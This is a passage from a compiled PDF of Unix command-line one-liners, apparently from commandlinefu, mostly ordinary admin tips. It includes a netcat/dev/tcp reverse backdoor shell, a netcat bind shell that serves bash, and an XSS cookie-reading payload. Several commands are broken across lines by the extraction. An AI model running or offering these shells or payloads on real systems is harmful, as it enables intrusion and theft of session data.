ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29*(Math.cos(i)/2+1)); i+=0.1}"
# Use Kernighan & Ritchie coding style in C program
indent -kr hello.c

# Re-read partition table on specified device without rebooting system (here /dev/sda).
blockdev --rereadpt /dev/sda
# Optimal way of deleting huge numbers of files
find /path/to/dir -type f -delete
# Search command history on bash
ctrl + r
# convert vdi to vmdk (virtualbox hard disk conversion to vmware hard disk format)
VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk
winxp.raw winxp.vmdk && rm winxp.raw
# find builtin in bash v4+
ls -l /etc/**/*killall
# Convert JSON to YAML
ruby -ryaml -rjson -e 'puts YAML.dump(JSON.parse(STDIN.read))' < file.json > file.yaml
# Copy a folder tree through ssh using compression (no temporary files)
ssh <host> 'tar -cz /<folder>/<subfolder>' | tar -xvz
# Create a file of a given size in linux
truncate -s 1M file
# extract element of xml
xmlstarlet sel -t -c "/path/to/element" file.xml
# removes characters from cursor to the end of line
Ctrl+k
# Check disk for bad sectors
badblocks -n -s -b 2048 /dev/sdX
# Make redirects to localhost via /etc/hosts more interesting
sudo socat TCP4-LISTEN:80,bind=127.0.0.1,fork EXEC:'echo "HTTP/1.1 503 Service
Unavailable";'

51 / 658

All UNIX COMMANDS


# Concatenate (join) video files
mencoder -forceidx -ovc copy -oac copy -o output.avi video1.avi video2.avi
# Wrap text files on the command-line for easy reading
fold -s <filename>
# Retry the previous command until it exits successfully
!!; while [ $? -ne 0 ]; do !!; done
# bash screensaver off
setterm -powersave off -blank 0
# Show Directories in the PATH Which does NOT Exist
(IFS=:;for p in $PATH; do test -d $p || echo $p; done)
# Selecting a random file/folder of a folder
shuf -n1 -e *
# Connect via SSH to VirtualBox guest VM without knowing IP address
ssh vm-user@`VBoxManage guestproperty get "vm-name" "/VirtualBox/GuestInfo/Net/0/V4/IP" |
awk '{ print $2 }'`
# Log your internet download speed
echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w
%{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &
# exclude a column with awk
awk '{ $5=""; print }' file
# Convert text to lowercase
lower() { echo ${@,,}; }
# Open the last file you edited in Vim.
alias lvim="vim -c \"normal '0\""
# sends your internal IP by email
ifconfig en1 | awk '/inet / {print $2}' | mail -s "hello world" email@email.com
# Amazing real time picture of the sun in your wallpaper
curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill
stdin

# print indepth hardware info


sudo dmidecode | more
# Join lines split with backslash at the end
sed -e '/\\$/{:0;N;s/\\\n//;t0}'
# Screensaver
alias screensaver='for ((;;)); do echo -ne "\033[$((1+RANDOM%LINES));$((1+RANDOM
%COLUMNS))H\033[$((RANDOM%2));3$((RANDOM%8))m$((RANDOM%10))"; sleep 0.1 ; done'
# open two files side by side in vim (one window, two panes)
vim -O file1 file2
# Check if a machine is online
ping -c 1 -q MACHINE_IP_OR_NAME >/dev/null 2>&1 && echo ONLINE || echo OFFLINE

52 / 658

All UNIX COMMANDS


# Show webcam output
mplayer tv:// -tv driver=v4l:width=352:height=288
# Click on a GUI window and show its process ID and command used to run the process
xprop | awk '/PID/ {print $3}' | xargs ps h -o pid,cmd
# use screen as a terminal emulator to connect to serial consoles
screen /dev/tty<device> 9600
# Kill all Zombie processes (Guaranteed!)
kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`
# rename files according to file with colums of corresponding names
xargs -n 2 mv < file_with_colums_of_names
# Remove the first and the latest caracter of a string
var=:foobar:; echo ${var:1:-1}
# Remote control for Rhythmbox on an Ubuntu Media PC
alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-client --no-start'
# Watch the progress of 'dd'
dd if=/dev/zero | pv | dd of=/dev/null
# uncomment the lines where the word DEBUG is found
sed '/^#.*DEBUG.*/ s/^#//' $FILE
# Isolate file name from full path/find output
echo ${fullpath##*/}
# Change the From: address on the fly for email sent from the command-line
mail -s "subject" user@todomain.com <emailbody.txt -- -f customfrom@fromdomain.com -F 'From
Display Name'
# Use mplayer to save video streams to a file
mplayer -dumpstream -dumpfile "yourfile" -playlist "URL"
# Fetch the current human population of Earth
curl -s http://www.census.gov/popclock/data/population/world | python -c 'import
json,sys;obj=json.load(sys.stdin);print obj["world"]["population"]'
# Enter parameter if empty (script becomes interactive when parameters are missing)
param=${param:-$(read -p "Enter parameter: "; echo "$REPLY")}
# Check availability of Websites based on HTTP_CODE
urls=('www.ubuntu.com' 'google.com'); for i in ${urls[@]}; do http_code=$(curl -I -s $i -w %
{http_code}); echo $i status: ${http_code:9:3}; done
# exit if another instance is running
pidof -x -o $$ ${0##*/} && exit
# Determine what version of bind is running on a dns server.
dig -t txt -c chaos VERSION.BIND @<dns.server.com>
# Convert filenames from ISO-8859-1 to UTF-8
convmv -r -f ISO-8859-1 -t UTF-8 --notest *
# Encrypted chat with netcat and openssl (one-liner)

53 / 658

All UNIX COMMANDS


server$ while true; do read -n30 ui; echo $ui |openssl enc -aes-256-cbc -a -k PaSSw; done |
nc -l -p 8877 | while read so; do decoded_so=`echo "$so"| openssl enc -d -a -aes-256-cbc -k
PaSSw`; echo -e "Incoming: $decoded_so"; done
# find broken symbolic links
find -L . -type l

# how many packages installed on your archlinux?


pacman -Q|wc -l
# Check all bash scripts in current dir for syntax errors
find . -name '*.sh' -exec bash -n {} \;
# Reverse Backdoor Command Shell using Netcat
exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
# ARP Scan
sudo arp-scan -l
# comment current line(put # at the beginning)
<Alt-Shift-#>
# Use /dev/full to test language I/O-failsafety
perl -e 'print 1, 2, 3' > /dev/full
# Recover remote tar backup with ssh
ssh user@host "cat /path/to/backup/backupfile.tar.bz2" |tar jpxf # List only the directories
find . -maxdepth 1 -type d | sort
# Capitalize first letter of each word in a string
read -ra words <<< "<sentence>" && echo "${words[@]^}"
# View Processeses like a fu, fu
command ps -Hacl -F S -A f
# Rank top 10 most frequently used commands
history | awk '{print $2}' | sort | uniq -c | sort -rn | head
# burn an ISO image to writable CD
wodim cdimage.iso
# Debug how files are being accessed by a process
inotifywait -m -r .
# Edit the last or previous command line in an editor then execute
fc [history-number]
# Get contents from hosts, passwd, groups even if they're in DB/LDAP/other
getent [group|hosts|networks|passwd|protocols|services] [keyword]
# Convert mysql database from latin1 to utf8
mysqldump --add-drop-table -uroot -p "DB_name" | replace CHARSET=latin1 CHARSET=utf8 |
iconv -f latin1 -t utf8 | mysql -uroot -p "DB_name"
# mp3 streaming
nc -l -p 2000 < song.mp3

54 / 658

All UNIX COMMANDS


# Get the total length of all video / audio in the current dir (and below) in H:m:s
find -type f -name "*.avi" -print0 | xargs -0 mplayer -vo dummy -ao dummy -identify
2>/dev/null | perl -nle '/ID_LENGTH=([0-9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d\n",
$t/3600,$t/60%60,$t%60' | tail -n 1
# Quick network status of machine
netstat -tn | awk 'NR>2 {print $6}' | sort | uniq -c | sort -rn
# Search through files, ignoring .svn
find . -not \( -name .svn -prune \) -type f -print0 | xargs --null grep <searchTerm>
# network throughput test
iperf -s
# grep tab (\t)
grep $'\t' sample.txt
# New files from parts of current buffer
:n,m w newfile.txt
# Attempt an XSS exploit on commandlinefu.com
perl -pi -e 's/<a href="#" onmouseover="console.log('xss! '+document.cookie)"
style="position:absolute;height:0;width:0;background:transparent;fontweight:normal;">xss</a>/<\/a>/g'
# Password Generation
pwgen --alt-phonics --capitalize 9 10

# scp file from hostb to hostc while logged into hosta


scp user@hostb:file user@hostc:
# Extract tarball from internet without local saving
curl http://example.com/a.gz | tar xz
# Add temporary swap space
dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile;
swapon /swapfile
# Quickly find a count of how many times invalid users have attempted to access your system
gunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep
"Invalid user" | awk '{print $8;}' | sort | uniq -c | less
# Export MySQL query as .csv file
echo "SELECT * FROM table; " | mysql -u root -p${MYSQLROOTPW} databasename | sed
's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > outfile.csv
# Check for login failures and summarize
zgrep "Failed password" /var/log/auth.log* | awk '{print $9}' | sort | uniq -c | sort -nr |
less
# Merge files, joining each line in one line
pr -m -t file1 file2 ...
# Create/open/use encrypted directory
encfs ~/.crypt ~/crypt
# IFS - use entire lines in your for cycles

55 / 658

All UNIX COMMANDS


export IFS=$(echo -e "\n")
# put an unpacked .deb package back together
dpkg-repack firefox
# Do some learning...
whatis $(compgen -c) 2>/dev/null | less
# add the result of a command into vi
:r! <bash_command>
# save date and time for each command in history
export HISTTIMEFORMAT="%h/%d-%H:%M:%S "
# output length of longest line
awk '(length > n) {n = length} END {print n}'
# Recursively grep thorugh directory for string in file.
grep -r -i "phrase" directory/
# run remote linux desktop
xterm -display :12.0 -e ssh -X user@server &
# Keep a copy of the raw Youtube FLV,MP4,etc stored in /tmp/
lsof -n -P|grep FlashXX|awk '{ print "/proc/" $2 "/fd/" substr($4, 1, length($4)-1) }'|while
read f;do newname=$(exiftool -FileModifyDate -FileType -t -d %Y%m%d%H%M%S $f|cut -f2|tr '\n'
'.'|sed 's/\.$//');echo "$f -> $newname";cp $f ~/Vids/$newname;done
# Use xdg-open to avoid hard coding browser commands
xdg-open http://gmail.com
# Query Wikipedia via console over DNS
mwiki() { dig +short txt "$*".wp.dg.cx; }
# Outputs files with ascii art in the intended form.
iconv -f437 -tutf8 asciiart.nfo
# connect via ssh using mac address
ssh root@`for ((i=100; i<=110; i++));do arp -a 192.168.1.$i; done | grep 00:35:cf:56:b2:2g |
awk '{print $2}' | sed -e 's/(//' -e 's/)//'`
# sed : using colons as separators instead of forward slashes
sed "s:/old/direcory/:/new/directory/:" <file>
# Execute multiple commands from history
!219 ; !229 ; !221
# pretend to be busy in office to enjoy a cup of coffee
while [ true ]; do head -n 100 /dev/urandom; sleep .1; done | hexdump -C | grep "ca fe"
# Sort a one-per-line list of email address, weeding out duplicates
sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.txt

# Exclude svn directories with grep


grep -r --exclude-dir=.svn PATTERN PATH
# Display GCC Predefined Macros
gcc -dM -E - < /dev/null

56 / 658

All UNIX COMMANDS


# Print text string vertically, one character per line.
echo Print text vertically|sed 's/\(.\)/\1\n/g'
# Adding leading zeros to a filename (1.jpg -> 001.jpg)
zmv '(<1->).jpg' '${(l:3::0:)1}.jpg'
# Watch the progress of 'dd'
pv -tpreb /dev/urandom | dd of=file.img
# Get your external IP address
curl -s 'http://checkip.dyndns.org' | sed 's/.*Current IP Address: \([0-9\.]*\).*/\1/g'
# Simple addicting bash game.
count="1" ; while true ; do read next ; if [[ "$next" = "$last" ]] ; then count=$
(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$next" ; done
# Grep Recursively Through Single File Extension
grep --include=*.py -lir "delete" .
# Search google.com on your terminal
Q="YOURSEARCH"; GOOG_URL="http://www.google.com/search?q="; AGENT="Mozilla/4.0"; stream=$
(curl -A "$AGENT" -skLm 10 "${GOOG_URL}\"${Q/\ /+}\"" | grep -oP '\/url\?q=.+?&amp' | sed
's/\/url?q=//;s/&amp//'); echo -e "${stream//\%/\x}"
# Changing the terminal title to the last shell command
trap 'echo -e "\e]0;$BASH_COMMAND\007"' DEBUG
# Create a tar archive using 7z compression
tar cf - /path/to/data | 7z a -si archivename.tar.7z
# Backup (archive) your Gmail IMAP folders.
mailutil transfer {imap.gmail.com/ssl/user=john@gmail.com} Gmail/
# See KeepAlive counters on tcp connections
netstat -town
# A little bash daemon =)
echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) &
disown -h -ar $!
# let a cow tell you your fortune
fortune | cowsay
# vi keybindings with info
info --vi-keys
# Select and Edit a File in the Current Directory
PS3="Enter a number: "; select f in *;do $EDITOR $f; break; done
# external projector for presentations
xrandr --auto
# do something else while waiting for an event, such as reboot
until (ssh root@10.1.1.39 2> /dev/null); do date; sleep 15; done
# seq can produce the same thing as Perl's ... operator.
for i in $(seq 1 50) ; do echo Iteration $i ; done
# Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or whatever)

57 / 658

All UNIX COMMANDS


tcs -f 8859-1 -t utf /some/file
# Delete backward from cursor, useful when you enter the wrong password
Ctrl + u
# retab in vim, tab to space or space to tab, useful in python
:ret
# Get a MySQL DB dump from a remote machine
ssh user@host "mysqldump -h localhost -u mysqluser -pP@$$W3rD databasename | gzip -cf" |
gunzip -c > database.sql
# Send an http HEAD request w/curl
curl -I http://localhost

# fast access to any of your favorite directory.


alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi'
# connect via ssh using mac address
sudo arp -s 192.168.1.200 00:35:cf:56:b2:2g temp && ssh root@192.168.1.200
# Get the time from NIST.GOV
cat </dev/tcp/time.nist.gov/13
# Rename .JPG to .jpg recursively
find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \;
# list directories only
ls -d */
# Figure out what shell you're running
readlink -f /proc/$$/exe
# vmstat/iostat with timestamp
vmstat 1 | awk '{now=strftime("%Y-%m-%d %T "); print now $0}'
# Sort file greater than a specified size in human readeable format including their path
and typed by color, running from current directory
find ./ -size +10M -type f -print0 | xargs -0 ls -Ssh1 --color
# Poke a Webserver to see what it's powered by.
wget -S -O/dev/null "INSERT_URL_HERE" 2>&1 | grep Server
# Disable annoying sound emanations from the PC speaker
sudo rmmod pcspkr
# Execute most recent command containing search string.
!?<string>?
# silent/shh - shorthand to make commands really quiet
silent(){ $@ > /dev/null 2>&1; }; alias shh=silent
# Replace spaces in filenames with underscores
rename 's/ /_/g' *
# Copy without overwriting
cp -n <src> <dst>

58 / 658

All UNIX COMMANDS


# Dumping Audio stream from flv (using ffmpeg)
ffmpeg -i <filename>.flv -vn <filename>.mp3
# Using bash inline "here document" with three less-than symbols on command line
<<<"k=1024; m=k*k; g=k*m; g" bc
# Check a nfs mountpoint and force a remount if it does not reply after a given timeout.
NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NFSPATH" ||
(umount -fl $NFSPATH; mount $NFSPATH)
# Alias for getting OpenPGP keys for Launchpad PPAs on Ubuntu
alias launchpadkey="sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys"
# cat a file backwards
tac file.txt
# grab all commandlinefu shell functions into a single file, suitable for sourcing.
export QQ=$(mktemp -d);(cd $QQ; curl -s -O
http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25];for i in $
(perl -ne 'print "$1\n" if( /^(\w+\(\))/ )' *|sort -u);do grep -h -m1 -B1 $i *; done)|grep
-v '^--' > clf.sh;rm -r $QQ
# Print just line 4 from a textfile
awk 'NR==4'
# Google Translate
translate() { lng1="$1";lng2="$2";shift;shift; wget -qO"http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=${@// /
+}&langpair=$lng1|$lng2" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
# Copy file content to X clipboard
:%y *
# see who's using DOM storage a/k/a Web Storage, super cookies
strings ~/.mozilla/firefox/*/webappsstore.sqlite|grep -Eo "^.+\.:" |rev
# Compress and store the image of a disk over the network
dd if=<device> | pv | nc <target> <port>

# Get your outgoing IP address


curl -s ip.appspot.com
# Timer with sound alarm
say(){ mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo
$* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }; sleep 3s && say "wake up, you bastard"
# Sum columns from CSV column $COL
awk -F ',' '{ x = x + $4 } END { print x }' test.csv
# Merge PDFs into single file
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf input1.pdf input2.pdf ...
# Add all unversioned files to svn
svn st | grep "^\?" | awk "{print \$2}" | xargs svn add $1
# Using tput to save, clear and restore the terminal contents
tput smcup; echo "Doing some things..."; sleep 2; tput rmcup

59 / 658

All UNIX COMMANDS


# Pretty man pages under X
function manpdf() {man -t $1 | ps2pdf - - | epdfview -}
# Calculate N!
seq -s* 10 |bc
# Google text-to-speech in local language or language of choice
say() { if [[ "${1}" =~ -[a-z]{2} ]]; then local lang=${1#-}; local text="${*#$1}"; else
local lang=${LANG%_*}; local text="$*";fi; mplayer
"http://translate.google.com/translate_tts?ie=UTF-8&tl=${lang}&q=${text}" &> /dev/null ; }
# make image semi-transparent
convert input.png -alpha set -channel A -fx 0.5 output.png
# easily find megabyte eating files or directories
du -cks * | sort -rn | while read size fname; do for unit in k M G T P E Z Y; do if [ $size
-lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done;
done
# Wget Command to Download Full Recursive Version of Web Page
wget -p --convert-links http://www.foo.com
# List only directory names
ls -d */
# Download file with multiple simultaneous connections
aria2c -s 4 http://my/url
# diff the outputs of two programs
diff <(exiftool img_1.jpg) <(exiftool img_2.jpg)
# Upload images to omploader.org from the command line.
ompload() { curl -# -F file1=@"$1" http://ompldr.org/upload|awk '/Info:|File:|Thumbnail:|
BBCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;print}';}
# All what exists in dir B and not in dir A will be copied from dir B to new or existing dir
C
rsync -v -r --size-only --compare-dest=../A/ B/ C/
# List your sudo rights
sudo -l
# Monitor a file's size
watch -n60 du /var/log/messages
# Android PNG screenshot
adb pull /dev/graphics/fb0 /dev/stdout | ffmpeg -vframes 1 -vcodec rawvideo -f rawvideo
-pix_fmt rgb32 -s 480x800 -i pipe:0 -f image2 -vcodec png screenshot.png
# The fastest remote directory rsync over ssh archival I can muster (40MB/s over 1gb NICs)
rsync -aHAXxv --numeric-ids --delete --progress -e "ssh -T -c arcfour -o Compression=no -x"
user@<source>:<source_dir> <dest_dir>
# Get a quick list of all user and group owners of files and dirs under the cwd.
find -printf '%u %g\n' | sort | uniq
# printing barcodes
ls /home | head -64 | barcode -t 4x16 | lpr
# securely erase unused blocks in a partition

60 / 658

All UNIX COMMANDS


# cd $partition; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredUnusedBlocks
# One liner to kill a process when knowing only the port where the process is running
fuser -k <port>

# watch process stack, sampled at 1s intervals


watch -n 1 'pstack 12345 | tac'
# dd with progress bar
dd if=/dev/nst0 |pv|dd of=restored_file.tar
# Robust expansion (i.e. crash) of bash variables with a typo
set -eu
# resize all JPG images in folder and create new images (w/o overwriting)
for file in *.jpg; do convert "$file" -resize 800000@ -quality 80 "small.$file"; done
# Convert images to a multi-page pdf
convert -adjoin -page A4 *.jpeg multipage.pdf
# Open a man page as a PDF in Gnome
TF=`mktemp` && man -t YOUR_COMMAND >> $TF && gnome-open $TF
# Remove all unused kernels with apt-get
aptitude remove $(dpkg -l|egrep '^ii linux-(im|he)'|awk '{print $2}'|grep -v `uname -r`)
# Delay execution until load average falls under 1.5
echo 'some command' | batch
# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
for i in ./*foo*;do mv -- "$i" "${i//foo/bar}";done
# Go (cd) directly into a new temp folder
cd "$(mktemp -d)"
# Merge Two or More PDFs into a New Document
pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf
# Use wget to download one page and all it's requisites for offline viewing
wget -e robots=off -E -H -k -K -p http://<page>
# Find biggest 10 files in current and subdirectories and sort by file size
find . -type f -print0 | xargs -0 du -h | sort -hr | head -10
# Temporarily ignore known SSH hosts
ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1
# See The MAN page for the last command
man !!:0
# Find pages returning 404 errors in apache logs
awk '$9 == 404 {print $7}' access_log | uniq -c | sort -rn | head
# Edit video by cutting the part you like without transcoding.
mencoder -ss <start point> -endpos <time from start point> -oac copy -ovc copy <invid> -o
<outvid>
# Remove today's Debian installed packages

61 / 658

All UNIX COMMANDS


grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq | xargs aptget -y remove
# Capture video of a linux desktop
ffmpeg -y -f alsa -ac 2 -i pulse -f x11grab -r 30 -s `xdpyinfo | grep 'dimensions:'|awk
'{print $2}'` -i :0.0 -acodec pcm_s16le output.wav -an -vcodec libx264 -vpre
lossless_ultrafast -threads 0 output.mp4
# Set an alarm to wake up [2]
echo "aplay path/to/song" |at [time]
# Find out my Linux distribution name and version
lsb_release -a
# Copy an element from the previous command
!:n
# Recursively search for large files. Show size and location.
find . -size +100000k -exec du -h {} \;
# Create cheap and easy index.html file
for i in *; do echo "<li><a href='$i'>$i</a>";

done > index.html

# Adding formatting to an xml document for easier reading


tidy -i -xml <inputfile>

# Get a stream feed from a Twitter user


step1 ; step2 ; step3 ; step4 ; curl -o- --get
'https://stream.twitter.com/1/statuses/filter.json' --header "$oauth_header" --data
"follow=$id"
# Extend a logical volume to use up all the free space in a volume group
lvextend -l +100%FREE /dev/VolGroup00/LogVol00
# Load file into RAM (cache) for faster accessing for repeated usage
cat <file> > /dev/null
# Re-use the previous command output
newcommand $(!!)
# List complete size of directories (do not consider hidden directories)
du -hs */
# Find all symlinks that link to directories
find -type l -xtype d
# Create a new file
> file
# Remove everything except that file
find . ! -name <FILENAME> -delete
# Change your swappiness Ratio under linux
sysctl vm.swappiness=50
# phpinfo from the command line
php -i

62 / 658

All UNIX COMMANDS


# VIM version 7: edit in tabs
vim -p file1 file2 ...
# Using netcat to copy files between servers
On target: "nc -l 4000 | tar xvf -" On source: "tar -cf - . | nc target_ip 4000"
# Get your commandlinefu points (upvotes - downvotes)
username=matthewbauer; curl -s http://www.commandlinefu.com/commands/by/$username/json | tr
'{' '\n' | grep -Eo ',"votes":"[0-9\-]+","' | grep -Eo '[0-9\-]+' | tr '\n' '+' | sed 's/+
$/\n/' | bc
# Monitor a file with tail with timestamps added
tail -f file | awk '{now=strftime("%F %T%z\t");sub(/^/, now);print}'
# List your installed Firefox extensions
grep -hIr :name ~/.mozilla/firefox/*.default/extensions | tr '<>=' '"""' | cut -f3 -d'"' |
sort -u
# Tricky implementation of two-dimensional array in Bash.
arr[i*100+j]="whatever"
# Interactively build regular expressions
txt2regex
# put all lines in comment where de word DEBUG is found
sed -i 's/^.*DEBUG.*/#&/' $file
# Show numerical values for each of the 256 colors in bash
for i in {0..255}; do echo -e "\e[38;05;${i}m${i}"; done | column -c 80 -s '
"\e[m"

'; echo -e

# scp with compression.


scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql
# Decreasing the cdrom device speed
eject -x 4
# Find brute force attempts on SSHd
cat /var/log/secure | grep sshd | grep Failed | sed 's/invalid//' | sed 's/user//' | awk
'{print $11}' | sort | uniq -c | sort -n
# Extract a bash function
sed -n '/^function h\(\)/,/^}/p' script.sh
# Perl One Liner to Generate a Random IP Address
echo $((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256))
# show ls colors with demo
echo $LS_COLORS | sed 's/:/\n/g' | awk -F= '!/^$/{printf("%s \x1b[%smdemo\x1b[0m\n",$0,$2)}'

# Quickly CD Out Of Directories Without 5+ Aliases


up() { local x='';for i in $(seq ${1:-1});do x="$x../"; done;cd $x; }
# Get the size of all the directories in current directory (Sorted Human Readable)
sudo du -ks $(ls -d */) | sort -nr | cut -f2 | xargs -d '\n' du -sh 2> /dev/null
# permanently let grep colorize its output
echo alias grep=\'grep --color=auto\' >> ~/.bashrc ; . ~/.bashrc

63 / 658

All UNIX COMMANDS


# Recursively find top 20 largest files (> 1MB) sort human readable format
find . -type f -print0 | xargs -0 du -h | sort -hr | head -20
# rsync with progress bar.
rsync -av --progress ./file.txt user@host:/path/to/dir
# backs up at the date today
cp -i FILENAME{,.`date +%Y%m%d`}
# Create a mirror of a local folder, on a remote server
rsync -e "/usr/bin/ssh -p22" -a --progress --stats --delete -l -z -v -r -p /root/files/
user@remote_server:/root/files/
# List all available commands (bash, ksh93)
printf "%s\n" ${PATH//:/\/* }
# backup and synchronize entire remote folder locally (curlftpfs and rsync over FTP using
FUSE FS)
curlftpfs ftp://YourUsername:YourPassword@YourFTPServerURL /tmp/remote-website/ && rsync -av
/tmp/remote-website/* /usr/local/data_latest && umount /tmp/remote-website
# mirrors directory to a ftp server
lftp -ulogin,passwd -e "mirror --reverse /my/from/dir/ /ftp/target/dir/" ftp.server.xx
# Rank top 10 most frequently used commands
history | cut -c8- | sort | uniq -c | sort -rn | head
# 32 bits or 64 bits?
sudo lshw -C cpu|grep width
# Create A Continuous Yahoo! News Ticker For The Terminal
while true;do n="$(curl -s http://news.yahoo.com/rss/|sed 's/</\n/g'|grep "title>"|sed -e
'/^\// d' -e 's/title>/---------- /g' -e '1,3d'|tr '\n' ' ')";for i in $(eval echo {0..$
{#n}});do echo -ne "\e[s\e[0;0H${n:$i:$COLUMNS}\e[u";sleep .15;done;done &
# Connect to SMTP server using STARTTLS
openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25
# lotto generator
echo $(shuf -i 1-49 | head -n6 | sort -n)
# How to copy CD/DVD into hard disk (.iso)
dd if=/dev/cdrom of=whatever.iso
# Get a brief overview of how many files and directories are installed
locate -S
# Check RAM size
free -mto
# Get pages number of the pdf file
pdfinfo Virtualization_A_Beginner_Guide.pdf | awk /Pages/
# ssh and attach to a screen in one line.
ssh -t user@host screen -x <screen name>
# Mount a Windows share on the local network (Ubuntu) with user rights and use a specific
samba user
sudo mount -t cifs -o user,username="samba username" //$ip_or_host/$sharename /mnt

64 / 658

All UNIX COMMANDS


# Load average + API google chart
limite="5";load5=$(awk '{print $1}' /proc/loadavg);echo "http://chart.apis.google.com/chart?
chxr=0,0,5&chxt=y&chs=700x240&cht=gm&chds=0,"$limite"&chd=t:"$load5"&chl="$load5"&chtt=$
(hostname)+load+average"
# Cheap iftop
watch 'netstat -anptu |egrep "^Proto|:80 "'
# cpu stress test
taskset 0x00000001 yes > /dev/null &
# Copy a directory recursively without data/files
find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \;

# Most Commonly Used Grep Options


GREP_OPTIONS='-D skip --binary-files=without-match --ignore-case'
# Real full backup copy of /etc folder
rsync -a /etc /destination
# output length of longest line
wc -L
# Ping all hosts on 192.168.1.0/24
for i in {0..255} ; do (ping 192.168.1.$i -c 1
done

> /dev/null && echo "192.168.1.$i" & ) ;

# Alert on Mac when server is up


ping -o -i 30 HOSTNAME && osascript -e 'tell app "Terminal" to display dialog "Server is up"
buttons "It?s about time" default button 1'
# du disk top 10
for i in `du --max-depth=1 $HOME | sort -n -r | awk '{print $1 ":" $2}'`; do size=`echo $i |
awk -F: '{print $1}'`; dir=`echo $i | awk -F: '{print $NF}'`; size2=$(($size/1024)); echo
"$size2 MB used by $dir"; done | head -n 10
# Finding files with different extensions
find . -regex '.*\(h\|cpp\)'
# Shell function to exit script with error in exit status and print optional message to
stderr
die(){ result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit $result;}
# Binary difference of two files
bsdiff <oldfile> <newfile> <patchfile>
# dstat - a mix of vmstat, iostat, netstat, ps, sar...
dstat -ta
# See why a program can't seem to access a file
strace php tias.php -e open,access 2>&1 | grep foo.txt
# Count number of files in a directory
perl -le 'print ~~ map {-s} <*>'
# deaggregate ip ranges
/bin/grep - ipranges.txt | while read line; do ipcalc $line ; done

65 / 658

| grep -v deag

All UNIX COMMANDS


# top 10 commands used
sed -e 's/ *$//' ~/.bash_history | sort | uniq -cd | sort -nr | head
# Display a block of text with AWK
sed -n /start_pattern/,/stop_pattern/p file.txt
# Check reverse DNS
dig +short -x {ip}
# ls not pattern
ls -I "*.gz"
# Stream audio over ssh
sox Klaxon.mp3 -t wav - |ssh thelab@company.com paplay
# Force machine to reboot no matter what (even if /sbin/shutdown is hanging)
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
# Do some learning...
for i in $(ls /usr/bin); do whatis $i | grep -v nothing; done | more
# Emulating netcat -e (netcat-traditional or netcat-openbsd) with the gnu-netcat
mkfifo foo ; nc -lk 2600 0<foo | /bin/bash 1>foo
# Display the output of a command from the first line until the first instance of a regular
expression.
command | sed -n '1,/regex/p'
# generate random identicon
curl -s "http://www.gravatar.com/avatar/`uuidgen | md5sum | awk '{print $1}'`?
s=64&d=identicon&r=PG" | display
# Mute xterm
xset b off
# Add a shadow to picture
convert {$file_in} \( +clone -background black -shadow 60x5+10+10 \) +swap -background none
-layers merge +repage {$file_out}

# Retrieve a random command from the commandlinefu.com API


wget -qO - http://www.commandlinefu.com/commands/random/plaintext | sed -n '1d; /./p'
# Recursively unrar into dir containing archive
find . -name '*.rar' -execdir unrar e {} \;
# find and delete empty directories recursively
find . -depth -type d -empty -exec rmdir -v {} +
# Quickly create simple text file from command line w/o using vi/emacs
cat > <file_name> << "EOF"
# save date and time for each command in history
export HISTTIMEFORMAT='%F %T '
# Synthesize text as speech
echo "hello world" | festival --tts

66 / 658

All UNIX COMMANDS


# See most used commands
history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -r
# stop man page content from disappearing on exit
echo "export LESS='FiX'" >> ~/.bashrc
# cd to (or operate on) a file across parallel directories
cd ${PWD/a/b}
# Redirect a filehandle from a currently running process.
yes 'Y'|gdb -ex 'p close(1)' -ex 'p creat("/tmp/output.txt",0600)' -ex 'q' -p pid
# show dd progress
killall -USR1 dd
# Set up alarm with fade-in, for graceful awakening
at 8:30 <<<'mpc volume 20; mpc play; for i in `seq 1 16`; do sleep 2; mpc volume +5; done'
# create pdf files from text files or stdout.
